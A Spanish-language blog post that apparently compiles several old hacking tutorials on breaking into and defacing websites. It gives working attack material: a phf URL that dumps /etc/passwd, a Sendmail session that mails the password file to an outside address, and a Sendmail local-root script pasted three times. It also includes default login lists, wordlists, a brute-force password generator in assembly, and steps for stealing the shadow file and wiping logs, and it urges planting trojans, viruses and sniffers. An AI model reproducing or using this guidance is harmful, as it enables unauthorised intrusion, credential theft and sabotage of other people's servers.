viernes, 15 de julio de 2022

Hack de sitios web

 

CONTENIDOS


1.- Disclaimer


2.- Introduccion


3.- Comenzando el ataque


4.- Obtencion del fichero de Passwd


5.- Usando Exploits



DISCLAIMER 

El contenido de este texto esta solamente destinado a usos educacionales, de investigación y de desarrollo. En ningun momento el creador de este  texto se hace responsable de los daños causados debido a un mal uso de el mismo.


INTRODUCCION 

Si alguna vez se te ha ocurrido que sería divertido cambiar algunas cuantas cosillas de alguna web o de adueñarte de alguna, este texto es para ti. 

Si tu enemigo tiene una web y quieres acabar con ella este texto es para ti.

O si simplemente quieres conocer las posibilidades del hacking este texto es para ti.


COMENZANDO EL ATAQUE 

Lo primero que hay hacer es localizar al servidor victima...

(e.j.)

http://www.victima.com <----------- Victima

Despues recopila la mayor cantidad de informacion sobre el servidor victima por ejemplo su IP, DNS, version de Sendmail, etc.

La mayoria de las veces el servidor que contiene la web-page del site solo tiene unos cuantos logins como el del root y el de algunos cuantos administradores pero para saber cuales y cuantos usuarios, necesitas el fichero de passwd.


OBTENCIÓN DEL FICHERO DE PASSWD

Hay varias formas de entrar, una de ellas seria obteniendo el archivo de passwd pero como? bueno he aqui algunas formas.

Nota para Newbies: Si entras al servidor por ftp con el usuario anonymous y te vas al directorio /etc y te encuentras el fichero passwd no te emociones este fichero solo es basura el fichero correcto esta en:

/home/ftp/etc/passwd <--------- Basura que encuentras si entras por anonymous

/etc/passwd <------------------ Fichero correcto de passwd.

Hay muchas formas de obtener el fichero de passwd como por ejemplo con el phf:

http://www.elsitevictima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

( 1 )( 2 )( 3 )( 4 )(5)( 6 )


1.- El site que quieras atacar.

2.- El comando phf.

3.- Aqui es donde esta el secreto.

4.- El programa que quieres que se ejecute.

5.- El %20 es un espacio.

6.- Y pues aqui va el archivo o directorio que quieres ver.


O tambien con exploits, este es para obtener el fichero de passwd de servidores con Sendmail con versiones anteriores a la 5.57


% telnet victima.com 25 

Trying 255.255.255.0...

Connected to victima.com 

Escape character is '^]'.

220 victima.com Sendmail 5.55 ready at Sunday, 12 Sept 97 12:09

mail from: "|/bin/mail tudireccion@decorreo.com < /etc/passwd

250 "|/bin/mail tudireccion@decorreo.com < /etc/passwd"... Sender ok

rcpt to: Aqui_pon_lo_que_se_te_antoje.

550 Aqui_pon_lo_que_se_te_antoje.... User unknown

data

354 Enter mail, end with "." on a line by itself

.

250 Mail accepted

quit

Connection closed by foreign host.

%


Despues crackeas el fichero de passwd con cualquier crackeador como el Jack the Ripper o el que acostumbres usar y si sacas alguna de las cuentas telnetea:


%telnet

%o

(to)www.victima.com

Trying 255.255.255.0 ....

Escape character is '^]'.


Linux 2.0.0 (www.victima.com) (tty2)


login:XXXXXXXX

passwd:XXXXXXXX


USANDO EXPLOITS

La forma mas sencilla de hackear una web-page es usando exploits he aqui uno que te hara root en Sendmail 8.8.4.


**************************************************


cat << _EOF_ >/tmp/x.c

#define RUN "/bin/ksh"

#include<stdio.h>

main()

{

execl(RUN,RUN,NULL);

}

_EOF_

#

cat << _EOF_ >/tmp/spawnfish.c

main()

{

execl("/usr/lib/sendmail","/tmp/smtpd",0); 

_EOF_

#

cat << _EOF_ >/tmp/smtpd.c

main()

{

setuid(0); setgid(0); 

system("chown root /tmp/x ;chmod 4755 /tmp/x");

}

_EOF_

#

#

gcc -O -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// 

|cut -d" " -f1`

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

echo "leet..."

/tmp/x

fi 


cat << _EOF_ >/tmp/x.c

#define RUN "/bin/ksh"

#include<stdio.h>

main()

{

execl(RUN,RUN,NULL);

}

_EOF_

#

cat << _EOF_ >/tmp/spawnfish.c

main()

{

execl("/usr/lib/sendmail","/tmp/smtpd",0); 

_EOF_

>

#

cat << _EOF_ >/tmp/smtpd.c

main()

{

setuid(0); setgid(0); 

system("chown root /tmp/x ;chmod 4755 /tmp/x");

}

_EOF_

#

#

gcc -O -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// 

|cut -d" " -f1`

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

echo "leet..."

/tmp/x

fi 


cat << _EOF_ >/tmp/x.c

#define RUN "/bin/ksh"

#include<stdio.h>

main()

{

execl(RUN,RUN,NULL);

}

_EOF_

#

cat << _EOF_ >/tmp/spawnfish.c

main()

{

execl("/usr/lib/sendmail","/tmp/smtpd",0); 

_EOF_

#

cat << _EOF_ >/tmp/smtpd.c

main()

{

setuid(0); setgid(0); 

system("chown root /tmp/x ;chmod 4755 /tmp/x");

}

_EOF_

#

#

gcc -O -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// 

|cut -d" " -f1`

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

echo "leet..."

/tmp/x

fi 


**************************************************

NUNCA HAGAS ESTO ...


Bien ya tengo el root o una cuenta de algun administrador ahora que?, pues ahora sigue la parte mas divertida.

Estando como root bajas todos los archivos de la pagina y despues los  editas cada archivo guardalo con el mismo nombre que tenia para ahorrarte trabajo, luego editas la web-page.

Usa tu imaginzacion por ejemplo si hay archivos executables remplazalos por virus cambia los links modifica las imagenes etc. ahora reemplazas los antiguos archivos por los nuevos recuerda que el chiste es hacer cambios que no llamen mucho la atencion para que los Admins no se den cuenta y dure mas tiempo.


Y recuerda |-|4cK t|-|3 \/\/0r1d ....

COMO HACKEAR PÁGINAS WEB

Bien.. seguro que este es uno de los puntos que más interesa a los hackers novatillos...

Ante la falta de documentos de este tipo en castellano, he decidido crear este yo mismo.

No voy a explicar todas las técnicas que se pueden usar para conseguirlo, (ya no las se).

Las técnicas son infinitas. Por cada agujero posible en un sistema, hay una técnica. Solo es necesario encontrar la adecuada. Antes que nada debemos inspeccionar el lugar que vamos a "visitar". Debemos buscar todos los posibles accesos al sistema... (telnet, ftp, etc...)


COGIENDO EL FICHERO DE PASSWORD A TRAVÉS DE FTP


Ok, bien... Una de las formas más fácil de conseguir ser "superusuario" en el sistema es accediendo a través de ftp anónimo al fichero "passwd". Primero necesitas conocer algo sobre los ficheros password:


root:User:g36Dfr:1j2YF6:1256:20:Superuser

Camilo:p5P:h0iuE:2552:20:Camilo,:/usr/personal/camilo:/bin/csh

BlackJack:EUhg3zACG2ab:1128:20:BlacJack LCD:/usr/personal/lcd:/bin/csh


Este es el ejemplo de un fichero encriptado normal. El superusuario es la parte que te da el root. Es la parte que nos interesa.


root:*:0:1:Misericordios:/:/bin/sh

ftp:*:202:102:Anonymous FTP:/U1/ftp

ftpadmin:*:203:102:ftp Administrator:/u1/ftp


Este es otro ejemplo de un fichero password, solo que este tiene una pequeña diferencia este está controlado. Los password controlados no te dejan ver o copiar el actual password encriptado . Esto causa problemas para el Cracker y el diccionario que uses (después se explica).

Losiguiente es otro ejemplo de otro password controlado:


root:*:0:1:0000-Admin(0000):7:/usr/bin/csh

daemon:*:1:1:0000-Admin(0000):/:

bin:*:2:2:0000-Admin(0000):/usr/bin:

etc...

los password controlados tienen un "*" o "x" en el lugar donde va el password.

Ahora que tu conoces un poco más acerca de cómo identificar un password encriptado de un password controlado, podemos hablar de como crackearlo.

Cracker un password no es tan complicado como parece. Los archivos varían de sistema a sistema.

Debemos antes que nada, de hacernos con el fichero passwd.

Bajatelo a tu disco duro. Una vez lo tengas en tu disco duro necesitas un cracker y un diccionario. Puedes usar el Cracker Jack, John the ripper (aconsejado), jack the ripper, brute force cracker.... Los puedes encontrar en cualquier página de hacking.

Cuando ejecutes el cracker, deberas indicar cual es el fichero passwd. Hay muchos sistemas para buscar el passwd. Aqui es donde actua el diccionario. Un diccionario encuentra todas las posibles combinaciones posibles con el alfabeto que uses, incluyendo toda clase de caracteres "raros". Lo normal es que tenga predefinido miles de palabras posibles.

Si este método no funciona se hace un rastreo completo, probando todas las combinaciones posibles desde 1 caracter hasta el total permitido. Asi SIEMPRE lo encuentra, aunque el problema está en que tarda mucho. Una vez tengas el password, YA ESTA!!! tendrás acceso a todo el sistema. 

TECNICA PHF

La tecnica del phf es una de la más vieja (y que menos suele funcionar,tambien hay que decirlo) de conseguir un password. Es Imprescindible probarla siempre. (por probar que no quede...) ya que no cuesta nada y aveces se encuentra a alguna víctima que cae.

Todo lo que debes hacer es abrir tu "notescapes navegando" y escribir lo siguiente:

http://[dominio]/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Y ya está!. acontinuación se empezará a transmitir una linda copia del fichero con los password (si funciona, claro está).

REDES LOCALES

Otro sistema es buscar la dirección IP del dominio a hackear. Todas las máquinas conectadas a la red tienen una dirección IP. por ejemplo:

www.probando.com

debemos averiguar el IP de este servidor. (no me jodas con que no sabes como).

hay miles, no, millones de programas que te lo dicen.

(hasta con el 7thsphere port fuck que viene con el sript de irc de mismo nombre, te lo dice) suponiendo que fuese:

194.179.23.100

esto es la dirección IP de la máquina central. Tal vez inaccessible, pero si tiene una red local conectada a esta.. (ordenador del diseñador, del director... que se yo!) las máquinas de la red tendrán un IP muy parecido. Sabes lo que puede pasar si en tu navegador escribes lo siguiente?:

194.179.23.101 o 194.179.23.102 ... etc...

que accederás a los ordenadores que estén en esa red local (siempre y cuando sean tan capullos de no protegerlos porque no están cara al público!) curioso ¿no?

DIRECTORIOS OCULTOS

Este método aunque parezca una chorrada... te juro que no lo es.

Te voy a narrar algo que paso por diciembre del 96 a un amigo hacker....

...a ver... voy a hackear un servidor de Internet...

este esta bien. Son novatos. Mucho mejor, seguro que tendrán un huevo de fallos. ¿Tendrán ftp anonimo?

Login: anonymous

passworD: anonymous

yeah! hay ftp anónimo con programitas shareware jeje....

mmmm... no está el directorio etc/ ....

vamos a ver si deja cambiar de directorio. igual está oculto.

-chg directory

cambiar a /etc

no existe. igual lo tienen protegido.

cambiar a /administrador

no existe.

cambiar a /administrator

SI EXISTE... hehehe

que hay en este directorio... etc/ bin/ mail/ (joder!) etc.....

y veamos! si están las páginas web aqui!

y el correo electrónico y todo! ah!. Soy un hacker no un criminal.

A pesar de poder abrirse cuenta de acceso a internet, leer correos electrónicos etc... solo cambió la página web.

el servidor en cuestión es conexión global internet (http://www.cglobal.com) aunque el nombre cambió durante un día por "conexión mamadón internet" hehehe... ya no tienen ftp anónimo. (mira a ver). es que los hay capullos.

Por probar que no quede. A probar todo lo que se te ocurra.

Si el servidor es de WinNT mejor que mejor! más rápido caerá.

probar con directorios ocultos tipo:

/root

/pub

/bin

/etc

/administrador

/administrator

/lo que se te ocurra.

Hackear Paginas WEB

  • Introducción
  • Diferencias en los tipos de WEB
  • Obteniendo Passwords en el tipo A.
  • Obteniendo Passwords en el tipo B.
  • Precauciones.

1º INTRODUCCIÓN

El objetivo de este documento es el dar a conocer posibles formas de alteración del contenido de una página WEB por personal no autorizado a ello ( llamémoslo hacking ;)).

No me hago responsable del uso que se pueda hacer de este documento, pues su única finalidad es la de informar, y el que lo use para otra cosa... lo hace bajo SU entera responsabilidad... ¿ Queda claro ?, si no te parece bien deja de leer y borra el fichero de tu HD ( disco duro para los muy novatos...).

Las cosas que se describen en este fichero no te aseguran éxito seguro, probablemente en la mayoría de los casos sólo te sirvan para empezar, teniendo que improvisar tu, pero prometo que este doc. será mejor que los que he visto sobre el tema en Internet.

El nivel de este documento es básico, pues no intenta enseñar todo en un dia, mas que nada saber como empezar a hacer algo digamos "util".

Nota: A pesar de que podrás hacer todo lo que aquí pone desde Windows 95 o 98, te recomiendo que pruebes algun Linux (aunque sea el Trinux, que cabe en 3 diskettes x´PPP (www.trinux.org)). Este documento está escrito en WORD pk lo tiene todo cristo ( jeje casi todos ilegal para que se joda Microsoft (con perdon)).


2º DIFERENCIAS ENTRE TIPOS DE WEBs

Creo que para que nos entendamos mejor, es importante distinguir entre dos clases de WEBs, las webs personales, que pueden ser modificadas por el usuario propietario mediante su clave (tipo Geocities, Xoom y los proveedores de acceso a Inet que ofrecen espacio WEB).

El segundo tipo, serian aquellas WEBs, llamemoslas "principales" de un servidor, que solo pueden ser modificadas por usuarios con muy altos privilegios (llamémoslos "root" o "administrador").

Pues que bien ¿no?, y esta diferenciación tan chorra... ¿para que vale?... pues la utilizaremos para diferenciar las formas de hacernos con los passwords que nos dejan modificarlas... evidentemente no es igual de facil conseguir ser root en un server que tener una cuenta de usuario... asi que para esto es la diferenciación.


3º OBTENIENDO PASSWORDS DE TIPO A (USUARIO):

Estos passwords de usuarios, generalmente no muy cualificados, se caracterizan por ser muy chorras, osea faciles de recordar, repetidos con los passwords de otras cosas... así que si la persona propietaria de las WEB es alguien cercano a ti, puedes empezar probando algunas palabras que te puedan parecer "interesantes" ( nombre del perro, mujer, hijos, fecha de nacimiento, lugar de residencia...), pero tampoco te mates mucho probando pues esto es perder el tiempo muchas veces, asi que si a los 10 o 11 intentos ( según tu paciencia ) no sale nada, mejor dejes esta forma ;)

Pero también sería una buena idea intentar sacar el password a la "víctima" a través de engaños y demás ( lo llaman ingeniería social...), por ejemplo puedes ligarte al chico/a y conseguir que te diga su pass... o también puedes intentar meterle un troyano tipo BO o NETBUS, que te permitirán sacarle las pass, evidentemente no voy a contar aquí lo que le tienes que decir a la víctima para que te crea... eso tendras que currelarlo tu un pokito

Ademas, si conseguimos el fichero de passwords del servidor... ¡¡Estamos de suerte!! Pues generalmente los passwords de usuario son bastante fáciles de crackear... solo elige el usuario y pon el john the ripper a trabajar ( el john es uno de los programas de cracking de ficheros PASSWD de UNIX mas conocidos, puedes conseguirlo en www.geocities.com/SiliconValley/Peaks/7837  , si no sabes usarlo... DON´T WORRY, trae ayuda...).

Pero probablemente el problema no sea el uso del John, sino el conseguir el fichero PASSWD, así que para eso vamos al siguiente apartado de este cursillo.

3º OBTENIENDO PASSWORDS DE TIPO B (root):

Normalmente los administradores de los servidores no se chupan el dedo, asi que conseguir el fichero o el root directamente a traves de un exploit ( programa que se aprovecha de un BUG o agujero en el sistema operativo) no sea una tarea facil.

Lo primero que puedes intentar es pillar el passwd por el FTP... y cuando eso no te haya funcionado probar el PHF ( escribir la siguiente linea en tu navegador: http://www.host.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/passwd , donde host.com es el nombre del servidor...), si el phf funcionase ( en estos tiempos ya suele estar parcheado en casi todos los servidores, asi que si no te sirve no te deprimas), tendrías en tu pantalla el fichero passwd, pero antes de alegrarte fijate en algo, si aparece:

root:*:0:0:Charlie &:/root:/bin/csh

( un asterisco (*) detrás del nombre "root" y los dos puntos, también puede aparecer una equis (x)...), querrá decir que el fichero esta shadow osea que aparte del PASSWD necesitas otro archivo... el SHADOW, puedes intentar sacarlo con PHF cambiando la palabra passwd del final de la línea del PHF por la palabra shadow ( para ser un poco mas explicito puedes jugar con el phf, cambiando de directorio... supongo que te estarás dando cuenta de cómo y si no, hay va una pista... "etc" es el nombre de un directorio ).

Bueno, si lo anterior no ha funcionado, no te preocupes, aún tenemos mas bazas que jugar.

Si por cualquier casualidad de la vida posees una cuenta de usuario en el servidor, puedes intentar hacerte con el passwd ( y con el shadow si hace falta) a traves de telnet ( prueba con cat o more , para ver si Dios es tu amigo y puedes editar los archivos...) o, puedes enterarte del Sistema operativo que usa el server, version ... (entérate también de la version del STMP, FTP ...) y vete a buscar exploits ( ya explique antes lo que son exploits...).

Una vez que lo/s tengas pues... los pruebas!!! ¿Sino para que coño los has cojido?... para probarlos, primero tendrás que compilarlos ( ojo, hay exploits que no hay que compilar, pues simplemente consisten en teclear unos comandos o algo asi... jeje si tienes algo de experiencia seguro que recuerdas algunos viejos compañeros ;) ).

Un buen sitio para pillar exploits es: http://www.rootshell.com/  

¿ Y donde los compilo ?, pues o el propio server ( con gcc ) o en otro con el mismo SO, ojo no puedes compilar exploits para un SUN en un linux Red Hat ... una vez que lo tengas compilado lo ejecutas... y a ¡jugar!

Después de todo esto, y otro poco por tu parte seguramente ya tengas root en algún pequeño server para probar... (recuerda si no tienes mucha soltura... empieza por lugares con baja legislación... que si te cachan no se meten mucho contigo ¿verdad?).

4º PRECAUCIONES

Pues eso... procura no usar cuentas verdaderas para conectar ( aunque piensa que si dejas huellas... los marrones serán pal dueño de la cuenta, y eso no esta bien..., asi que cuidado con las cuentas de internet robadas, solo usar las que sepais que el dueño es un verdadero hijoputa o algo asi... o mejor si usas servidores "intermedios" o borras las huellas con algún zapper ( si lo usas sastamente como un exploit)... ahh, si te descubres un root y tal, pues deja algun sniffer y eso para recoger la cosecha... ( mas ke na no desperdiciar kurro ya hecho).

Hackear Webs

 1. Introduccion

Si alguna vez has hechado a volar tu imaginacion se te habra ocurrido que seria  comico remover algunas graficas de algun website, o mejor aun borrar toda la pagina de algun enemigo para deleitarte con tu venganza. Pues bien, este es el manual que te ayudara a lograrlo.

Primero  deberas  entender que andar por ahi  borrando paginas es *TONTO* e inmaduro. Lo que trato de hacer es que sientas la adrenalina de entrar a un sistema  al que no estes autorizado y echar una ojeada alrededor. Si te dedicas a invadir  sistemas y borrar archivos le quitaras  el privilegio a otra persona de entrar a ese sistema ya que el operador se dara cuenta de la intrusion y aumentaran la seguridad negando asi la entrada a mas 'intrusos'. Si el sistema al que entraste pertenece a unos hijos de la chingada (Plantas Nucleares, Creadores de abrigos de piel, Agencias de Gobierno,etc) olvida lo antes dicho y haz que  se arrepientan de haberse conectado a la red causando kaos o mejor aun, infectandolos con algun buen virus  (por que no reemplazar un ejecutable por un caballo de troya?). En fin, usa tu cabeza y cuida de no ser sorprendido en tus viajes de kAoS.

2. Websites

Un website es solamente una computadora llamada servidor por su capacidad de de  realizar diferentes tareas al mismo tiempo, ejecutando un sistema operativo que generalmente sera UNIX o algunas de sus variaciones y con toda la informacion guardada en algun medio.

  2.1 Ganando acceso a un servidor WWW

Aqui reside la magia del Hacker, la proteccion comun son dos preguntas Login y Password. El usuario que tenga una cuenta en ese servidor tiene un nombre de  usuario (Login) y contrase¤a (Password) por lo que la entrada a ese servidor no tiene problemas; pero para una persona ajena a ese servidor la entrada es un poco mas complicada.

Para poder penetrar el sistema necesitamos saber su URL y una vez conectados con  el explorador prestar atención al mensaje waiting reply from 103.38.28 o algo parecido que haga aparecer una dirección IP en lugar de el nombre de dominio.

Si lograste conseguir la dirección IP usa telnet para conectarse a esa dirección.  Si cuando tratas de conectarte aparece el mensaje 'connection refused' probablemente esté protegida esa dirección con una FIREWALL. Si este es el caso trata de hacer telnet a el nombre de dominio con la finalidad de llegar a el frustrante LOGIN/PASSWORD.

Para  entrar  necesitas conseguir alguna cuenta haciendo algo de ingenieria social o intenta con los defaults.

 

   * CUENTAS DEFAULTS DE UNIX *


Login:                                Password:


root                                    root

root                                    system

sys                                     sys

sys                                     system

daemon                                  daemon

uucp                                    uucp

tty                                     tty

test                                    test

unix                                    unix

unix                                    test

bin                                     bin

adm                                     adm

adm                                     admin

admin                                   adm

admin                                   admin

sysman                                  sysman

sysman                                  sys

sysman                                  system

sysadmin                                sysadmin

sysadmin                                sys

sysadmin                                system

sysadmin                                admin

sysadmin                                adm

who                                     who

learn                                   learn

uuhost                                  uuhost

guest                                   guest

host                                    host

nuucp                                   nuucp

rje                                     rje

games                                   games

games                                   player

sysop                                   sysop

root                                    sysop

demo                                    demo

 


Si fracasas al intentar el acceso usando cada uno de los anteriores logins, probablemente tengas que conseguir el password de otra manera como relaciones humanas; esto significa que vas a tener que conseguir la clave valiendote de trucos como hablar por telefono a una persona que sepas que esta registrada en ese servidor y pedirle su Login y Password diciendo que necesitas validar su cuenta o algo parecido. Otra manera de conseguir un Password es crear  un programa que robe las claves de acceso del disco duro de una persona.

3. Cuando se esta adentro

Una vez que hayas logrado entrar a un sistema necesitaras localizar y obtener el archivo passwd disponible en el directorio /etc

Para obtener el archivo PASSWD usa el siguiente ejemplo:

($ simboliza el prompt UNIX)

$ ftp

FTP> get /etc/passwd

FTP> quit


Para ver el contenido de el archivo usa el siguiente comando:


$ cat /etc/passwd

 

Una vez que tengas en tu posesion el archivo PASSWD editalo y fijate en su contenido, debera tener la siguiente informacion:


       usuario:contrase¤a:ID:Grupo:descripcion/nombre:directorio:shell


usuario    - Este es el login de algun usuario.

contrase¤a - Es el password de el usuario (encriptada con DES)

ID         - Es la identificacion de ese usuario.

grupo      - El grupo al que pertenece esta cuenta.

descripcion- El nombre del usuario.

directorio - El directorio de acceso de el usuario.

shell      - El shell que procesa los comandos de ese usuario.


 Un ejemplo podria ser:


    john:234abc56:9999:13:John Johnson:/home/dir/john:/bin/john


Nombre de usuario: john

Password encriptado: 234abc56

Usuario numero: 9999

Numero de grupo: 13

Descripcion: John Johnson

Directorio de acceso: /home/dir/john

Shell: /bin/john

Si el archivo que conseguiste contiene la misma informacion pero en el campo del password tiene un asterisco (*) o cualquier otro caracter, significa que las contrase¤as se encuentran 'sombreadas'.

Si las contraseñas se encuentra sombreada,las podras encontrar en el archivo shadow aunque generalmente no se puede tener acceso a ese archivo a menos de tener root.  Una forma de conseguir SHADOW es usando el comando cp para copiarlo a otro archivo y despues tratar de obtener el archivo al que se copio, ejemplo:


$cp /etc/shadow /usuarios/carlos/hack.txt

$ftp

FTP> get /usuarios/carlos/hack.txt

FTP> quit

$rd /usuarios/carlos/hack.txt


Ya tengo los passwords encriptados, ahora que?

Los passwords estan encriptados usando one-way encription, significa que  no se  pueden des-encriptar. Lo que Unix hace es obtener la contraseña del usuario,la encripta y la compara con la que ya esta encriptada, si coinciden entonces se le permite el acceso.

Para poder obtener las contraseñas es necesario tener un archivo con palabras y usar un programa para que encripte las palabras del archivo y las compare con las contrase¤as encriptadas,si coinciden te avisa que palabra fue la que coincidio con la contrase¤a encriptada.

Algunos programas de este tipo son:

Nombre            Palabras por Segundo    Computadora

John the Ripper          5077                 586

Starcracker              1300                 586

Cracker Jack             1008                 586

KillerCracker             350                 586


Estos programas se encuentran disponibles en cualquier pagina de Hackers, si quieres la ultima version de StarCracker visita la siguiente URL: http://www.geocities.com/SiliconValley/park/8403/index.html

Para conseguir listas de palabras haz FTP a el siguiente servidor:

warwick.ac.uk

directorio: /pub/cud

Algunas de las palabras mas usadas en contraseñas son:

 

      aaa            academia          ada            adrian

      aerobics       airplane          albany         albatros

      albert         alex              alexander      algebra

      alias          alisa             alpha          alphabet

      ama            amy               analog         anchor

      andy           andrea            animal         answer

      anything       arrow             arthur         ass

      asshole        athena            atmosphere     bacchus

      badass         bailey            banana         bandit

      banks          bass              batman         beautiful

      beauty         beaver            daniel         danny

      dave           deb               debbie         deborah

      december       desire            desperate      develop

      diet           digital           discovery      disney

      dog            drought           duncan         easy

      eatme          edges             edwin          egghead

      eileen         einstein          elephant       elizabeth

      ellen          emerald           engine         engineer

      enterprise     enzyme            euclid         evelyn

      extension      fairway           felicia        fender

      finite         format            god            hello

      idiot          jester            john           johnny

      joseph         joshua            judith         juggle

      julia          kathleen          kermit         kernel

      knight         lambda            larry          lazarus

      lee            leroy             lewis          light

      lisa           louis             love           lynne

      mac            macintosh         mack           maggot

      martin         marty             marvin         matt

      master         maurice           maximum        merlin

      mets           michael           michelle       mike

      minimum        nicki             nicole         rascal

      really         rebecca           remote         rick

      reagan         robot             robotics       rolex

      ronald         rose              rosebud        rosemary

      roses          ruben             rules          ruth

      sal            saxon             scheme         scott

      secret         sensor            serenity       sex

      shark          sharon            shit           shiva

      shuttle        simon             simple         singer

      single         singing           smile          smooch

      smother        snatch            snoopy         soap

      socrates       spit              spring         subway

      success        summer            super          support

      surfer         suzanne           tangerine      tape

      target         taylor            telephone      temptation

      tiger          tigger            toggle         tomato

      toyota         trivial           unhappy        unicorn

      unknown        urchin            utility        vicki

      virginia       warren            water          weenie

      whatnot        whitney           will           virgin

      william        winston           willie         wizard

      wonbat         yosemite          zap            whatnow

 

Obtuve algunas cuentas, ahora?

Para  poder  hacer  y  deshacer en el servidor necesitas el password  de  la cuenta root. Si despues de intentar con algunas listas de palabras no puedes necesitaras  hacer  un ataque en bruto, es decir empezar desde  la  letra  A hasta la palabra zzzzzzzz

El  siguiente programa necesita ser compilado usando TASM y es una lista  de palabras TSR que no ocupa espacio en disco y puede ser modificada,  es ideal para ataques brutos a la cuenta r00t 

 

+++++++++++++++++++++++++++++++++++++++++++++

P A S S W O R D   E N G I N E  (for IBM PC's)                

+++++++++++++++++++++++++++++++++++++++++++++


Que tan practico es?

Este programa no necesita mucho espacio en disco y puede crear listas de palabras de gran tama¤o.

Con el ejemplo proporcionado, passwords empezando en 'aaaaaaa' y terminando en 'zzzzzzz' seran generados.

Como empiezo a usar esta lista de palabras?

Compila el codigo y nombralo "hackdrv.sys", despues necesitas configurarlo añadiendo la siguiente linea en CONFIG.SYS

device=c:\hackdrv.sys

Una vez en memoria el programa creara la lista de variables en memoria llamada HACKPWD. Cualquier programa que uses (excepto StarCracker) debera reconocer hackpwd como una lista de palabras y empezar a crackear.

Si deseas reiniciar una sesion desde una combinacion especifica solo modifica el archivo HACKDRV.SYS con un editor HEXADECIMAL y modifica la cadena de caracteres con los que empieza ;-0


+++++++++++++++++++++++++++++++++++++++++++++

;Program HACKDRV.SYS

;

org 0h

next_dev dd -1

attribute dw 0c000h            ;character device w/ ioctl calls

strategy dw dev_strategy

interrupt dw dev_int

dev_name db 'HACKPWD '

countr dw offset number

number db 'aaaaaa',0ah         ;<---- 6 caracteres en minusculas (empiezo)

numsize equ $-number - 2

afternum:


;working space for device driver

rh_ofs dw ?

rh_seg dw ?


dev_strategy:               ;strategy routine

mov cs:rh_seg,es

mov cs:rh_ofs,bx

retf


dev_int:                    ;interrupt routine

pushf

push ds

push es

push ax

push bx

push cx

push dx

push di

push si


cld

push cs

pop ds


mov bx,cs:rh_seg

mov es,bx

mov bx,cs:rh_ofs


mov al,es:[bx]+2

rol al,1

mov di,offset cmdtab

xor ah,ah

add di,ax

jmp word ptr[di]

 


cmdtab:            ;command table

dw init        ;0

dw exit3       ;1

dw exit3       ;2

dw ioctl_read  ;3

dw do_read     ;4

dw exit3       ;5

dw exit3       ;6

dw exit3       ;7

dw exit3       ;8

dw exit3       ;9

dw exit3       ;10

dw exit3       ;11

dw ioctl_write ;12

dw exit3       ;13

dw 5 dup (offset exit3)


ioctl_read:

push es

push bx


mov si,es:[bx+10h]

mov di,es:[bx+0eh]

mov es,si


push cs

pop ds

mov si,offset number

xor cx,cx


get_char:

lodsb

stosb

inc cl

cmp al,0ah

jz ioctl_rend

jmp get_char


ioctl_rend:

pop bx

pop es

mov es:[bx+012h],cx

mov cs:countr,offset number

jmp exit2


ioctl_write:

push es

push bx

mov si,es:[bx+010h]

mov ds,si

mov si,es:[bx+0eh]

mov cx,numsize+1               ;es:[bx+012h]

push cs

pop es

mov di,offset number

repe movsb

pop es

pop bx

mov cs:countr,offset number

jmp exit2

 


do_read:

push es

push bx

 


push cs

pop ds


mov si,[countr]

inc si                      ;word ptr [countr]

cmp si,offset afternum

jnz is_okay

mov si,offset number

call inc_num

 


is_okay:

mov [countr],si

mov di,es:[bx]+0eh

mov ax,es:[bx]+010h

mov cx, es:[bx]+012h

jcxz clean_up

mov es,ax

repe movsb


clean_up:

pop bx

pop es

jmp exit2

 


exit3: mov es:word ptr 3[bx],08103h

jmp exit1


exit2:

mov es:word ptr 3[bx],0100h


exit1:

pop si

pop di

pop dx

pop cx

pop bx

pop ax

pop es

pop ds

popf

retf

exit:


inc_num proc near

 push si

 mov si,numsize


 reiterate:

  inc byte ptr [number+si]

  cmp byte ptr [number+si],'z'+1    ;+1 past ending char. in range

  jnz _exit

  mov byte ptr [number+si],'a'      ;starting char. in range

  dec si

  cmp si,-1

  jnz reiterate

  mov byte ptr [number],01ah        ;send EOF

 _exit:

  pop si

  ret

inc_num endp

 

 


at_eof:                        ; the non-resident code starts here


initial proc near

push es


push cs

pop ds


push cs

pop es


mov si,offset number

mov di,offset tmpnum

cld

_again:

lodsb

cmp al,0ah

jz _nomorechars

stosb

jmp _again


_nomorechars:

mov si,offset msgend

mov cx,4

repe movsb


mov ah,09             ;print welcome message

mov dx,offset msg1

int 21h


pop es

ret

initial endp


init: call initial

mov ax,offset at_eof

mov es:[bx]+0eh,ax

push cs

pop ax

mov es:[bx]+010h,ax

mov cs:word ptr cmdtab,offset exit3

jmp exit2

 


msg1    db "Incremental Password Generator (c)1995",0ah,0dh

        db "Written by Uncle Armpit",0ah,0dh,0ah,0dh

        db "Starting at word ["

tmpnum  db 10 dup (?)

msgend  db "]",0a,0d,'$'

;END hackdrv.sys

+++++++++++++++++++++++++++++++++++++++++++++

 Como limpiar tus huellas

Si deseas que tu ingreso con la cuenta r00t no quede registrado en los LOGS de el servidor revisa los directorios buscando archivos  como  logs, syslog, log,  o  cualquiera  que parezca  que  guarda un reporte  de  los accesos  y borralos  o mejor aun editalos usando  el  editor de archivos de UNIX.  Para ejecutar el editor usa el comando vi

Edita o borra los siguientes archivos: /etc/syslog

                                       /etc/log

                                       /etc/logs

